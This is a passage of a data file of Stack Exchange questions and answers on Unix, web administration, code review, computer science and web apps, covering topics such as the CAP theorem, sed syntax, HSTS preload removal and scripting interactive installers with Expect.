combination is proving hard to find, especially the authentication requirement. I don't want to mess around all over the place in the source code to make it use the existing authentication. A plugin would be ideal, but alternatively a well thought out software design that allows for maintainable surgical changes would be acceptable.Any suggestions on which software I should take a closer look into?" , "title": "PHP Image gallery that integrates well into custom CMS" , "tags": "looking for a script;photo gallery" } { "id": "_cs.33002" , "question": "I'm going through Brewer's theorem and its proof by Nancy Lynch and Seth Gilbert. But the paper left me with one question. What prevents the theorem from being applicable to a single node?I havent encountered any explicit definition of network partition that restricts its applicability to a network. There are some hints in [1] that suggest that a network partition with a single node would mean cutting off all communication to that node itself. This doesnt make a whole lot of sense to me because you could always have a partition with all the service nodes on one side and the client node on the other. No service could possibly tolerate that. A single node data object can be consistent and available if requests sent to it get through. To me, the definition of a network partition and where it applies leaves something to be desired. What am I missing here? [1] Brewers Conjecture and the Feasibility of Consistent, Available, Partition-Tolerant Web Services by Seth Gilbert and Nancy Lynch" , "title": "Applying Brewer's theorem (CAP) to a single node" , "tags": "computer networks;database theory" , "accepted_answer": "In my opinion, the CAP theorem is applicable intentionally to distributed systems. To quote the article Perspectives on the CAP Theorem @ IEEE Computer'2012 by Gilbert and Lynch:Brewer first presented CAP in the context of a Web service implemented by a set of servers distributed over a set of geographically diverse datacenters. Clients issue requests to the service, which sends back responses.In this context, the network in CAP theorem refers to communications among servers (instead of communications among clients or between clients and servers). This can be justified by the following two arguments.To quote the above article again (with emphasis added):Unlike the other two requirements, partition tolerance is really a statement about the underlying system rather than the service itself: communication among the servers is unreliable, and the servers can be partitioned into multiple groups that cannot communicate with one another.In the proof of the CAP theorem in the above article, it says,Consider an execution in which the servers are partitioned into two disjoint sets: $\\{p_1\\}$ and $\\{ p_2, \\ldots, p_n\\}$. Some client send a read request to server $p_2$.The proof followed is based on the communication among the two disjoint sets of servers.To summarize, CAP theorem (again, it is my own opinion) does not consider the situation in which client nodes and server nodes are partitioned. After all, we can do almost nothing in this bad situation. In other words, CAP theorem assumes that the communications between clients and servers behave well and focuses on the theory and implementation of the distributed service itself. " } { "id": "_unix.103728" , "question": "Is there anyway to display the size of each file next to it after executing the locate command?" , "title": "How to display size of each file next to it after executing the locate command?" , "tags": "size;locate" , "accepted_answer": "If your locate implementation understands the option -0:locate -0 PATTERN | xargs -0 ls -sdOtherwise:locate PATTERN | xargs -I {} ls -sdOf course you may want to vary the flags passed to ls, e.g. add -h to get human-readable sizes, add --color=auto to have special files in color, etc.If some of the files in the locate database have been removed since the database was generated, ls will print error messages. To hide them, add 2>/dev/null at the end of the command." } { "id": "_unix.28812" , "question": "I've written a Python CGI script that invokes bash commands, and it needs to test for a successful login on the host.How do I write a test for that?For example, could I create a bash script that tests a given username and password combination against the registered user on the host?" , "title": "How do I write a test for system login?" , "tags": "linux;bash;security;login;testing" , "accepted_answer": "Using PAM is the best solution. You can write small C code, or install python-pam package and use a python script which comes with the python-pam package. See /usr/share/doc/python-pam/examples/pamtest.py" } { "id": "_webmaster.108433" , "question": "I used this line to extract unique IPs from my access_log for the last minute:grep 2017:19:23 /var/log/nginx/access_log | awk '{print $2}' | sort -n | uniq -c | sort -nr | head -20000 | wc -lResult: 185I then tried again for 10 seconds:grep 2017:19:23:0 /var/log/nginx/access_log | awk '{print $2}' | sort -n | uniq -c | sort -nr | head -20000 | wc -lResult: 74What does google analytics realtime tell me? 37. I've not seen it go over 50 all day and I'm confident that at time my concurrent users has been more like 200+.Any idea why this would be?" , "title": "Google Analytics real time numbers don't seem to come close to unique IP addresses in my access_log?" , "tags": "google analytics;real time" } { "id": "_hardwarecs.6789" , "question": "Im looking for a WLAN router that runs only free/libre software. It doesnt need to contain a modem.ThinkPenguin.com offered the Free Software Wireless-N Broadband Router for GNU / Linux (TPE-NWIFIROUTER2), which even got FSFs RYF certification, but its no longer for sale/available.I would prefer a router that ships without any proprietary software, but if there isnt one, Im fine with a router that ships with proprietary software, as long as a free/libre OS (and free/libre firmware) can be installed without voiding the warranty, ideally officially supported." , "title": "Free/libre WLAN router" , "tags": "router;wlan;floss" } { "id": "_codereview.39718" , "question": "I would prefer if more experienced users could give pointers on how I can optimize and think better when writing code.If you are unfamiliar with unity3d, ignore the use of UnityEngine, the heritage from MonoBehaviour as well as the Debug.Log();, Debug.LogWarning();, and Debug.LogError();Awake is called directly after the constructor.I use int length instead of a function to return the size of List<Gender> genders. Not sure what is preferred (or best).An XML Example can be seen further down./// <summary>/// Gender manager./// Access length by GenderManager.Length/// Access gender by index GenderManager.gender[int]/// /// Left to do: Singleton/// /// Author: Emz/// Date: 2014-01-21/// </summary>using UnityEngine;using System.Collections;using System.Collections.Generic;using System.Xml;using System;public class GenderManager : MonoBehaviour { private static List<Gender> genders; private static int length; // Use this for initialization public GenderManager () { genders = new List<Gender> (); length = 0; } void Awake () { DontDestroyOnLoad (this); XmlDocument doc = new XmlDocument (); doc.Load (@genders.xml); XmlNodeList gs = doc.SelectNodes (genders/gender); foreach (XmlNode g in gs) { Gender tg = new Gender (); tg.Name = g.SelectSingleNode(name).InnerText; tg.Desc = g.SelectSingleNode(desc).InnerText; XmlNodeList ams = g.SelectNodes(attributemodifiers/attributemodifier); foreach (XmlNode am in ams) { // check if attribute does exist in public enum AttributeName under Skill.cs if (Enum.IsDefined(typeof(AttributeName), am.SelectSingleNode (attribute).InnerText)) { int ta = (int)Enum.Parse(typeof(AttributeName), am.SelectSingleNode (attribute).InnerText); // returns 0 if conversion failed int tv = Convert.ToInt32(am.SelectSingleNode (value).InnerText); tg.AddAttributeModifier (ta, tv); // if attribute does not exist in SkillName under Skill.cs } else { Debug.LogError (Invalid Attribute Name: + am.SelectSingleNode (attribute).InnerText); } } XmlNodeList sms = g.SelectNodes(skillmodifiers/skillmodifier); foreach (XmlNode sm in sms) { // check if skill does exist in public enum SkillName under Skill.cs if (Enum.IsDefined(typeof(SkillName), sm.SelectSingleNode (skill).InnerText)) { int ts = (int)Enum.Parse(typeof(SkillName), sm.SelectSingleNode (skill).InnerText); // returns 0 if conversion failed int tv = Convert.ToInt32(sm.SelectSingleNode (value).InnerText); tg.AddSkillModifier (ts, tv); // if skill does not exist in SkillName under Skill.cs } else { Debug.LogError (Invalid Skill Name: + sm.SelectSingleNode (skill).InnerText); } } // off we go, increment length genders.Add (tg); ++length; } } public static int Length { get {return length;} } public static Gender Gender (int index) { return genders [index]; }}XML<?xml version=1.0 encoding=UTF-8?><genders> <gender> <name>Female</name> <desc>FemDesc</desc> <attributemodifiers> <attributemodifier> <attribute>Agility</attribute> <value>1</value> </attributemodifier> </attributemodifiers> <skillmodifiers> <skillmodifier> <skill>Charm</skill> <value>1</value> </skillmodifier> </skillmodifiers> </gender> <gender> <name>Male</name> <desc>MalDesc</desc> <attributemodifiers> <attributemodifier> <attribute>Strength</attribute> <value>1</value> </attributemodifier> </attributemodifiers> <skillmodifiers> <skillmodifier> <skill>Intimidation</skill> <value>1</value> </skillmodifier> </skillmodifiers> </gender> <gender> <name>Neuter</name> <desc>NeuDesc</desc> <attributemodifiers> <attributemodifier> <attribute>Attunement</attribute> <value>1</value> </attributemodifier> </attributemodifiers> <skillmodifiers> <skillmodifier> <skill>Coercion</skill> <value>1</value> </skillmodifier> </skillmodifiers> </gender></genders>Enums for AttributeName and SkillNamepublic enum AttributeName { Strength, Agility, Quickness, Endurance, Attunement, Focus};public enum SkillName { Weight_Capacity, Attack_Power, Intimidation, Coercion, Charm};And lastly, the Gender classusing System.Collections.Generic;public class Gender { private string _name; private string _desc; private List<GenderBonusAttribute> _attributeMods; private List<GenderBonusSkill> _skillMods; public Gender () { _name = string.Empty; _attributeMods = new List<GenderBonusAttribute> (); _skillMods = new List<GenderBonusSkill> (); } public string Name { get {return _name;} set {_name = value;} } public string Desc { get {return _desc;} set {_desc = value;} } public void AddAttributeModifier (int a, int v) { _attributeMods.Add (new GenderBonusAttribute (a, v)); } public void AddSkillModifier (int s, int v) { _skillMods.Add (new GenderBonusSkill (s, v)); } public List<GenderBonusAttribute> AttributeMods { get {return _attributeMods;} } public List<GenderBonusSkill> SkillMods { get {return _skillMods;} }}public class GenderBonusAttribute { public int attribute; public int value; public GenderBonusAttribute (int a, int v) { attribute = a; value = v; }}public class GenderBonusSkill { public int skill; public int value; public GenderBonusSkill (int s, int v) { skill = s; value = v; }}I don't want to hardcode the genders for various reasons.Does this code look good enough? If not, what changes should be made and where can I read more about them?" , "title": "Dynamic Storing Objects from XML in RPG" , "tags": "c#;xml;unity3d" , "accepted_answer": "Your code style is really inconsistent. As if you were copypasting code blocks from various places and didn't bother to refactor it. Part of the reason your code is hard to read. A somewhat accepted code style is: a) prefix field names with underscores, b) if possible use auto-properties for public members instead of fields and properties with backing fieldspublic GenderBonusAttribute (int a, int v) what is a? what is v? no way to tell without digging into your code. You should use descriptive names.Using static fields in GenderManager and setting them via non-static constructor is a mess. Length is not descriptive. What is length? If it is the length of genders, then why dont you expose genders.Count instead?In my opinion XmlDocument is somewhat depricated. I would use XDocument and Linq-to-Xml instead. It would simplify your code. Though in a sense its probably a matter of taste. I think some light weight data base will do a better job in storing game mechanics then xml files." } { "id": "_computergraphics.4684" , "question": "I'm new to computer graphics. I played around with OpenGL and now am trying out Vulkan.Basically what I want to do, in 2D is have an 800x800 window, and I want that to represent 800 meters by 800 meters. Then I want a circle with a radius of 1 meter.I am going off of the Vulkan tutorial. My data structure is this:struct Vertex { glm::vec2 pos;};I create my circle:const int NUM_POINTS = 20;uint32_t angle = 360/NUM_POINTS;Vertex vertex;std::vector<Vertex> vertices;for(uint32_t i=0; i <= 360; i+=angle){ vertex.pos.x = cos(glm::radians(float(i))); vertex.pos.y = sin(glm::radians(float(i))); vertices.push_back(vertex);}Something to do with the viewport:VkViewport viewport = {};viewport.x = 0.0f;viewport.y = 0.0f;viewport.width = (float) swapChainExtent.width;viewport.height = (float) swapChainExtent.height;viewport.minDepth = 0.0f;viewport.maxDepth = 1.0f;viewport.width and viewport.height both equal 800.0f.Projection matrices:struct UniformBufferObject{ glm::mat4 model; glm::mat4 view; glm::mat4 proj;};projections:ubo.view = glm::lookAt(glm::vec3(2.0f, 2.0f, 2.0f), glm::vec3(0.0f, 0.0f, 0.0f), glm::vec3(0.0f, 0.0f, 1.0f));ubo.proj = glm::perspective(glm::radians(45.0f), swapChainExtent.width / (float) swapChainExtent.height, 0.1f, 10.0f);ubo.proj[1][1] *= -1;This shows the circle, but it's almost as big as the window and it's tilted 45 away from me.First of all, I don't understand why, if I make the first argument to glm::lookAt be glm::vec3(0.0f, 0.0f, 2.0f), I see nothing. I mean the circle is in the x-y plane. If I move in the z-direction, shouldn't I see it?Then I tried glu::orthoubo.proj = glm::ortho(0.0f, 800.0f, 800.0f, 0.0f);But I still see nothing." , "title": "understanding glm::perspective vs glm::ortho" , "tags": "projections;vulkan;glm" } { "id": "_unix.330558" , "question": "I am working on an embedded device with ARM CPU and Debian Jessie constructed using multistrap. It seems I need to install a slightly patched version of ModemManager into that system and what I am asking for is any guidance on how to do that. What I've tried so far is chrooting into the rootfs created by multistrap, downloading the source code of ModemManager using apt-get and building it chrooted. So far, I haven't even got the configure script to pass due to dependencies I can't get satisfied.Patching is needed in order to solve the known problem of ModemManager that it may confuse hardware by scanning serial ports for modems. There is a way to work around that by blacklisting devices via udev rules, but in this case the serial port is part of the tty sub-system, for which blacklisting is not supported. I have check that in ModemManager's source code.I am also very open for easier ways to solve this if there are such, but I haven't noticed them so far." , "title": "Building software for Linux generated using multistrap" , "tags": "debian;arm;cross compilation" } { "id": "_codereview.142896" , "question": "I'm beginner java programmer and would like to ask you to take a look at my code. I wrote small rest service among with tests. Now I have to questions to ask. The test methods:@Transactionalpublic class CustomerControllerTests extends RestApplicationTests{ @Autowired private WebApplicationContext context; private MockMvc mockMvc; @Before public void setup(){ mockMvc = MockMvcBuilders .webAppContextSetup(context) .build(); } @Test public void getRequestSent_then200IsRecived() throws Exception{ mockMvc.perform(get(/customers)) .andExpect(status().isOk()); } @Test public void getRequestSend_thenJSONisRecived() throws Exception{ mockMvc.perform(get(/customers)) .andExpect(content().contentType(MediaType.APPLICATION_JSON_UTF8)); } @Test public void givenUserDoesNotExists_whenUserInfoIsRetrieved_then404IsRecived() throws Exception{ final String id = 666634443255233321; mockMvc.perform(get(/customers/ + id)) .andExpect(status().isNotFound()); } @Test public void givenPutRequest_whenRequestBodyIsValid_then200IsRecived() throws Exception{ Customer customerStub = new Customer.Builder() .firstName(Adam) .lastName(Nawalka) .town(Boston) .customerId(8888) .build(); Gson gson = new Gson(); String entityAsJson = gson.toJson(customerStub); mockMvc.perform(put(/customers).with(anonymous()) .content(entityAsJson) .contentType(MediaType.APPLICATION_JSON_UTF8)) .andExpect(status().isOk()); } @Test public void givenPutRequest_whenIdIsMissing_thenIllegalArgumentExceptionAsCause() throws Exception{ Customer customerStub = new Customer.Builder() .firstName(Adam) .lastName(Nawalka) .town(Boston) .build(); Gson gson = new Gson(); String entityAsJson = gson.toJson(customerStub); try{ mockMvc.perform(put(/customers) .content(entityAsJson) .contentType(MediaType.APPLICATION_JSON_UTF8)); } catch(NestedServletException e){ Assert.assertEquals(NestedServletException.class, e.getClass()); Assert.assertEquals(IllegalArgumentException.class, e.getCause().getClass()); Assert.assertEquals(Can not update with id equal to 0, e.getCause().getLocalizedMessage()); } } @Test public void givenPutRequest_whenEntityIsNotCompatible_then400BadRequest() throws Exception{ Customer customerStub = new Customer.Builder() .firstName(Adam) .town(Boston) .customerId(8888) .build(); Gson gson = new Gson(); String entityAsJson = gson.toJson(customerStub); mockMvc.perform(put(/customers) .content(entityAsJson) .contentType(MediaType.APPLICATION_JSON_UTF8)) .andExpect(status().isBadRequest()); } @Test public void givenPutRequest_whenEntityIsNotCompatible_thenExplanationInBody() throws Exception{ Customer customerStub = new Customer.Builder() .firstName(Adam) .town(Boston) .customerId(8888) .build(); Gson gson = new Gson(); String entityAsJson = gson.toJson(customerStub); mockMvc.perform(put(/customers) .content(entityAsJson) .contentType(MediaType.APPLICATION_JSON_UTF8)) .andExpect(content() .string(Entity contains forbidden values: + Can not update entity with field \\lastName\\ set to: null)); } @Test public void givenPutRequest_whenEntityIsNotCompatible_thenDataInputException() throws Exception{ Customer customerStub = new Customer.Builder() .firstName(Adam) .town(Boston) .customerId(8888) .build(); Gson gson = new Gson(); String entityAsJson = gson.toJson(customerStub); try{ mockMvc.perform(put(/customers) .content(entityAsJson) .contentType(MediaType.APPLICATION_JSON_UTF8)); } catch(DataInputException e){ Assert.assertEquals(DataInputException.class, e.getClass()); } } @Test public void givenPostRequest_whenRequestBodyIsValid_then200IsRecived() throws Exception{ Customer customerStub = new Customer.Builder() .firstName(Adam) .lastName(Nawalka) .town(Boston) .customerId(8888) .build(); Gson gson = new Gson(); String entityAsJson = gson.toJson(customerStub); mockMvc.perform(post(/customers) .content(entityAsJson) .contentType(MediaType.APPLICATION_JSON_UTF8)) .andExpect(status().isCreated()); } @Test public void givenDeleteRequest_whenUserExists_then204NoContent() throws Exception{ mockMvc.perform(delete(/customers/1)) .andExpect(status().isNoContent()); }}Is my approach separating different results to different methods correct? I could do more compressed assertions checking for exceptions and result body and result status in one method. Isnt it better approach?To run the tests I'm using my main database, Is it possible to somehow mock my database so that I could have full controll during the test what's in the database and did not have to use the main db? " , "title": "Testing controller class using mockito mvc" , "tags": "java;beginner;unit testing;mocks" } { "id": "_unix.122270" , "question": "till now I defined just image files.But I have a logical partition and I'd like to share it by iscsi.Is it possible or I am limited to single files?" , "title": "Is it possible to set a whole hard disk(partition) as iscsi target?" , "tags": "iscsi" } { "id": "_unix.323948" , "question": "Could someone please explain this code that deletes all leading blank lines at the top of a file:sed '/./,$!d' fileI understand that it is a regex, matching only the first character, but then don't understand the ,$!d part. Is this what it's being replaced by, or are they options for the match?Is this even a search command if it does not start with 's/'...?Sorry this is a bad question, I just don't know where to look. (and so, how would you recommend me finding the answer to this myself in the future?)Code source (from another question)" , "title": "Sed Explanation: sed '/./,$!d' file" , "tags": "sed" , "accepted_answer": "sed '/./,$!d'From the first line which contains a character (blank or not) to the end of the file - negate (which then means from the beginning of the file to the line before the first line which contains a character) - delete.This deletes leading empty lines, not blank lines. To delete leading blank lines (lines which are empty or contain only whitespace characters) say '/\\S/,$!d'.Read Sed, an introduction and tutorial at http://www.grymoire.com/Unix/Sed.html. Then read the reference manual at https://www.gnu.org/software/sed/manual/sed.html.In short:The general form of a sed command is [selector][negation]command[flags] (square brackets indicate optional parts)The selector, if present, selects the lines on which the command appliesIf ! appears it negates the selector, that is, makes the command apply to the lines which do not match the selector.If no selector is present the command applies to all lines.A selector can select one line (by number) or a set of lines (by regular expression), or the lines between a start line (by number or regular expression) and an end line (by number or regular expression).In our case the selector is /./,$ which means from the first line found which matches /./ (that is, contains at least one character) to the end of the file ($ is used as a line number and means the last line in the file).It is negated by !, so that the command applies to the lines from the beginning of the file to the line before the first line matching /./.The command d deletes the selected lines." } { "id": "_unix.291186" , "question": "Is there any such essential process launched in the user space... ALso should take care of headless servers " , "title": "Is there a process that is always running that uniquely identifiers a user in linux." , "tags": "linux" } { "id": "_webmaster.2232" , "question": "I'm planning what is essentially a business card website for myself, and have been looking at domains. My primary site (a .com) is for my blog and portfolio and the like, but I want a separate site for basic information, contact, networks, and the like.In this light, there are a few TLDs that seem to be suitable: .info, .me, and .name.I'd appreciate remarks on the differences between these options, and suggestion on which would be suitable for my need." , "title": "Which TLD would be suited to a personal site?" , "tags": "domains;top level domains" , "accepted_answer": ".infoThe name is derived from information indicating that the domain is intended for informative Internet resources, although registration requirements do not prescribe any theme orientation..meYou're in Montenegro? Seriously, I am not a fan of using other country codes for other uses. I don't like things whose legal jurisdiction is not my own..nameIt is intended for use by individuals for representation of their personal names, nicknames, screen names, pseudonyms, or other types of identification labels.I think .name is the most appropriate one to use.That said, the one that's easiest to remember and communicate to people is always going to be best. I like .com and .org best for personal sites.But to each his or her own. The original intent of TLDs has been subverted over the years, people do as they please. Use the one you like the best." } { "id": "_webapps.50338" , "question": "How do I search for websites that start with dl on Google?For example, returned sites search will be likedl.webaddr.comdl.something.comdl.others.com" , "title": "Search for specific text at the start of the URL in Google search" , "tags": "google search" } { "id": "_cs.64883" , "question": "I am having some trouble with turning the following mathematical expressions into as balanced binary trees as possible.This is what I have done so far, but is there a way to make them even more balanced?$( 3)(^2 + 1)$$4( 1)( 2)( 3)$" , "title": "Making mathematical expressions as balanced trees as possible" , "tags": "optimization;trees;arithmetic" , "accepted_answer": "Since these are mathematical expressions, you can bracket the second one as (4 (x-1)) ((y-2) (z-3)) to make it more balanced. In many programming languages this wouldn't be allowed, because with floating point arithmetic, the order of operations will often change the result. Can't see any way to improve the first one. " } { "id": "_unix.109596" , "question": "I have a strange problem with a Linux router.The setup is like this:host1 === Linux router === host2a.b.c.d --- a.b.c.e/g.h.i.j --- g.i.h.kEvery five minutes host1 tries to reach host2.If host2 is down, the Linux router makes an ARP request for a.b.c.d onthe left network with address g.h.i.j (i.e. from network on the right side).After receiving the MAC address from host1 the router sends anICMP-unreachable packet with g.h.i.j as sender address.If host2 is up, everything is fine.The router makes the ARP request with its address a.b.c.e.On the router I have$ uname -aLinux pfc 3.6.9-voyage #1 SMP Tue Dec 11 09:53:27 HKT 2012 i586 GNU/LinuxThere is no proxy_arp involved.The problem is: in my eyes the route should not use the IP address from the right hand network for the ARP request. Or am I missing something here?" , "title": "ARP request with wrong IP address" , "tags": "linux;router;arp" } { "id": "_webapps.104367" , "question": "I would like to add icons to individual reports in a reports module in CommCare. Is it possible to add icons to individual reports within a report module? " , "title": "Is it possible to add icons to individual reports in a report module in CommCare?" , "tags": "commcare" } { "id": "_webmaster.83422" , "question": "A client has moved their website to another provider who does not support secure (HTTPS) browsing. The previous site was served over HTTPS and sent HSTS headers and was included on the Chrome HSTS preload list, so many browsers automatically attempt a redirect to HTTPS, resulting in an error.Chromium Issue 467486: Remove website from HSTS list highlights one specific website that required a whole discussion with developers to be removed. Is raising an issue to the Chromium team the only method to request removal?" , "title": "Removal from HSTS preload list?" , "tags": "https;hsts" } { "id": "_webapps.104326" , "question": "Is it possible to specify multiple languages for the Display Text Field portion of a select option in a multiple choice lookup table question? Note, I'm speaking specifically about the Choice definition, not the label for the question itself which does support multi-language already." , "title": "Multi-language support for Multiple Choice Lookup Table questions" , "tags": "commcare" , "accepted_answer": "You can use an attribute in the lookup table and a bit of a hack to get the current app locale ID to accomplish this.There's a writeup on it here that covers it pretty well: https://confluence.dimagi.com/display/commcarepublic/Using+Lookup+Tables+with+Multiple+Languages" } { "id": "_cs.77968" , "question": "I read this answer below and got into another question.Why is the consensus number for test-and-set, 2?I also read that read/write registers have consensus number 1.But I see that in test&set (also in compare&swap) by using read write registers alone, we still arrive at consensus.I think I am missing something very fundamental here. Need help.The protocol in the accepted answer of the link is as mentioned belowSuppose that we have two threads 0 and 1 that need to reach consensus. We could do this by letting each thread follow the consensus protocol below:Write your proposed value to A[t], where t is the thread id and A is an array of size 2Perform the test-and-set instruction on some register R, with R initialised to 0. If the return value is 0, you were first: return A[t]. Otherwise, you were second: return A[|t1|]." , "title": "Consensus anomaly about read-write registers and test&set" , "tags": "distributed systems;consensus" , "accepted_answer": "Consensus number and consensus hierarchy are defined in the classic paper Wait-Free Synchronization by Maurice Herlihy, 1991.Note the keyword: wait-free.Since you did not give the algorithms for test&set using read/write registers only, I guess that they are not wait-free. (They may be lock-free instead.)Added: After the discussions with the OP in the comments, I realize that the OP has not fully understood the difference between atomic test&set registers and atomic read/write registers. He/she thought that the protocol given in the post uses read/write registers only. In fact, it uses test&set registers/operations/instructions in the second step. A test&set register supports the test&set operation, which is a combination of test and set that cannot be interrupted. See this wiki for more details." } { "id": "_webapps.24796" , "question": "I would like to some people to be able to see some of the photos I'm tagged in, but not all of them. Is this possible?I know I can make a list of people that won't be able to see any of the photos I'm tagged in, but is there a way to do this on a per-photo basis?" , "title": "On Facebook, is there any way to restrict access to individual photos I'm tagged in?" , "tags": "facebook;photos" } { "id": "_codereview.1635" , "question": "Given the following exercise:Exercise 2.5Show that we can represent pairs of nonnegative integers using only numbers and arithmetic operations if we represent the pair a and b as the integer that is the product 2^a * 3^b. Give the corresponding definitions of the procedures cons, car, and cdr.I wrote the following:(define (cons a b) (* (expt 2 a) (expt 3 b)))(define (car x) (if (= 0 (remainder x 3)) (car (/ x 3)) (/ (log x) (log 2))))(define (cdr x) (if (= 0 (remainder x 2)) (cdr (/ x 2)) (/ (log x) (log 3))))What do you think?" , "title": "Represent pairs of nonnegative integers using 2^a * 3^b" , "tags": "lisp;scheme;sicp" , "accepted_answer": "Your definition of cons is perfect.Your definitions of car and cdr contain the log operation, which is a floating-point operation. Not only are its results imprecise, it is not needed to solve this problem. Furthermore, notice that the two definitions look very similar to each other. Whenever one sees a repeated pattern, one ought to consider factoring it out.To address the above two concerns, one may write a helper function, log-x, which is a specialized log function that takes integer parameters x and n and returns integer p such that x ^ p * y = n, where x does not divide y. Then, car and cdr may call log-x, with x being 2 and 3 respectively.In the following implementation, I have renamed the definitions so they do not conflict with primitives.(define (cons-np a b) (* (expt 2 a) (expt 3 b)))(define (log-x x n) (if (= (remainder n x) 0) (+ 1 (log-x x (/ n x))) 0))(define (car-np np) (log-x 2 np))(define (cdr-np np) (log-x 3 np))" } { "id": "_unix.377595" , "question": "I set up an Elementary Linux laptop for my kids to play Minecraft on.. only to find that it cannot ping or otherwise access any of the hosts on my local network. I can access stuff beyond the gateway without issues.Output from ipconfig:root@nevill:~# ifconfig eno1 Link encap:Ethernet HWaddr 00:26:b9:f4:87:06 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:20 Memory:e9600000-e9620000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:6923 errors:0 dropped:0 overruns:0 frame:0 TX packets:6923 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:721205 (721.2 KB) TX bytes:721205 (721.2 KB)wlp3s0 Link encap:Ethernet HWaddr 5c:ac:4c:97:03:da inet addr:192.168.1.84 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::c95a:b72b:7d45:820d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:6015890 errors:0 dropped:0 overruns:0 frame:2040510 TX packets:2005419 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1149192406 (1.1 GB) TX bytes:161487281 (161.4 MB) Interrupt:17 Output from arp:root@nevill:~# arpAddress HWtype HWaddress Flags Mask Iface192.168.1.254 ether 4c:8b:30:12:3b:40 C wlp3s0192.168.1.68 ether 4c:8b:30:a9:f0:80 C wlp3s0192.168.1.100 (incomplete) wlp3s0UFW is off, as far as I can tell:root@nevill:~# ufw statusStatus: inactiveRouting table looks normal to me, but it doesn't really align with what I see on my Windows' hosts:Destination Gateway Genmask Flags Metric Ref Use Ifacedefault 192.168.1.254 0.0.0.0 UG 600 0 0 wlp3s0192.168.1.0 * 255.255.255.0 U 600 0 0 wlp3s0As best as I can understand, the incomplete entry in arp results tells me that the remote device is not responding.. I know this isn't the case, since the other hosts on the same network (same router, same wireless interface, etc) can access the host in question.I can ping the gateway (192.168.1.254), and hosts beyond the gateway, but nothing that's on the local network.I have not tested if this works with a wired connection.. that's in the ceiling somewhere :PHelp please? :)Thanks!" , "title": "Ubuntu-based OS not able to access hosts on the local network, but can access external hosts" , "tags": "linux" } { "id": "_unix.28473" , "question": "About a week ago my system began to freeze (deadlock, only manual shutdown with laptop button helped) from time to time.The frequency of deadlock is increasing. Today it was about 10 deadlocks with only browsing the internet and terminal emulator and vim. It usually happens when loading new url and then all the system is dead. It's very annoying for me as it happens more often.My system is Lubuntu 11.10 with xmonad window manager.Could you help me to find the cause of this problem? Are there some logs associated with deadlocks? Could it be hardware problem?(the system was dead twice while writing this question too)thank you" , "title": "System freezes when browsing internet" , "tags": "ubuntu;logs;hardware;freeze;deadlock" } { "id": "_webapps.5545" , "question": "Is there a way (at the Facebook end, not via filtering my end) to opt-out of receiving notifications every time someone else adds a comment to a thread I am involved in?" , "title": "Opt out of Facebook comment updates" , "tags": "facebook" , "accepted_answer": "Click on the Account drop down menu (upper right hand corner of the page) then click Account Settings and go to the Notifications tab. Go through the list of notifications and deselect any notification you don't want. Fifteen out of the sixty-six notifications represented on this page are triggered by comments.To opt-out of notifications for treads you're involved in, deselect the six notifications that start with: Comments after me..." } { "id": "_datascience.777" , "question": "New to the Data Science forum, and first poster here!This may be kind of a specific question (hopefully not too much so), but one I'd imagine others might be interested in.I'm looking for a way to basically query GitHub with something like this:Give me a collection of all of the public repositories that have more than 10 stars, atleast two forks, and more than three committers.The result could take any viable form: a JSON data dump, a URL to the web page, etc. It more than likely will consist of information from 10,000 repos or something large.Is this sort of thing possible using the API or some other pre-built way, or am I going to have to build out my own custom solution where I try to scrape every page? If so, how feasible is this and how might I approach it?" , "title": "Getting GitHub repository information by different criteria" , "tags": "bigdata;data mining;python;dataset" , "accepted_answer": "My limited understanding, based on brief browsing GitHub API documentation, is that currently there is NO single API request that supports all your listed criteria at once. However, I think that you could use the following sequence in order to achieve the goal from your example (at least, I would use this approach):1) Request information on all public repositories (API returns summary representations only): https://developer.github.com/v3/repos/#list-all-public-repositories;2) Loop through the list of all public repositories retrieved in step 1, requesting individual resources, and save it as new (detailed) list (this returns detailed representations, in other words, all attributes): https://developer.github.com/v3/repos/#get;3) Loop through the detailed list of all repositories, filtering corresponding fields by your criteria. For your example request, you'd be interested in the following attributes of the parent object: stargazers_count, forks_count. In order to filter the repositories by number of committers, you could use a separate API: https://developer.github.com/v3/repos/#list-contributors.Updates or comments from people more familiar with GitHub API are welcome!" } { "id": "_cstheory.16226" , "question": "Suppose a graph with node weights only (no edge weights). For a given source-sink pair, how can I find a path with the minimal sum of node weights? Does this problem have a name? Is it possible to reformulate this to a shortest-path problem?If both nodes and edges are weighted, is it still possible to find a min-weight path?" , "title": "Finding a minimum node weight path" , "tags": "graph algorithms;shortest path" , "accepted_answer": "You can treat this as a directed graph problem, where the weights of all edges coming into a node are equal to that node's weight.If the edges are weighted too, add the node's weight and the edge's weight together to find the incoming edge's weight in the directed graph." } { "id": "_unix.139010" , "question": "I am new to shell scripting. When I want to run a bunch of Linux commands I do fine, but how do I give user input when another script is called and asks for input while it runs. Here is the situation where I am stuck. I install the same server setup in classrooms frequently so I want to completely automate it.#!/bin/bashsudo apt-get install python -ysudo apt-get install python-m2crypto -ysudo apt-get install git-core -ygit clone https://github.com/learningequality/ka-lite.gitcd ka-lite/./setup_linux.sh#the script works until here#now, while the setup script is running, the following needs to happen#I need to press enter twice#enter the password twice#press enter twice#press y and then enter#here are some things I tried, none of them workedsend yes\\nsend yes\\n#echo | <Press [enter] to continue...> #enter#echo | <return> #enterPassword8 #passwordPassword8 #passwordecho | <yourfinecommandhere> #enterecho | <return> #entery" , "title": "How to simulate user interaction when running another script" , "tags": "shell;scripting" , "accepted_answer": "You can use TCL Expect or Perl::Expect.After trying them both I prefer the later because I am more familiar with Perl.This is a snipped of a script that I use to ssh into several test servers (not recommended for sensitive production servers):if( defined $password ) { $exp->expect( $timeout, [ qr/no\\)\\?\\s+$/i => sub { my $self = shift; $self->send(yes\\n); exp_continue; } ], [ qr/password:\\s+$/i => sub { my $self = shift; $self->send($password\\n); exp_continue; } ], '-re', qr/~/, #' wait for shell prompt, then exit expect );}You can look at the full source here: 